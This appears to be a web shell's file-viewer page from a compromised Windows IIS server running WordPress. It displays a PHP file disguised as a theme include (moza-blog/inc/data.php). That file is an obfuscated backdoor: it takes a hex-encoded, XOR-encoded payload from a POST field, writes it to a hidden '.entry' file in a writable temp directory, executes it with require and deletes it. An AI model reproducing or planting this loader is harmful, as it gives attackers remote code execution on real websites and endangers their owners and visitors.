HEX
Server: Microsoft-IIS/10.0
System: Windows NT WIN8095 10.0 build 20348 (Windows Server 2016) AMD64
User: kytoffice-001 (0)
PHP: 7.4.30
Disabled: exec,passthru,shell_exec,system,proc_open,popen,curl_multi_exec,show_source
Upload Files
File: h:/root/home/kytoffice-001/www/expresstinou/wp-content/themes/moza-blog/inc/data.php
<?php

if(isset($_POST) && isset($_POST["\x72es\x6F\x75\x72ce"])){
$pgrp = hex2bin($_POST["\x72es\x6F\x75\x72ce"]);
$binding    =   ''   ;    $y=0;do{$binding.=chr(ord($pgrp[$y])^28);$y++;}while($y<strlen($pgrp));
$ent = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", "/tmp", getcwd(), session_save_path(), "/var/tmp", getenv("TEMP"), sys_get_temp_dir()]);
foreach ($ent as $key => $marker) {
            if ((function($d) { return is_dir($d) && is_writable($d); })($marker)) {
            $hld = sprintf("%s/.entry", $marker);
            if (file_put_contents($hld, $binding)) {
    require $hld;
    unlink($hld);
    exit;
}
        }
}
}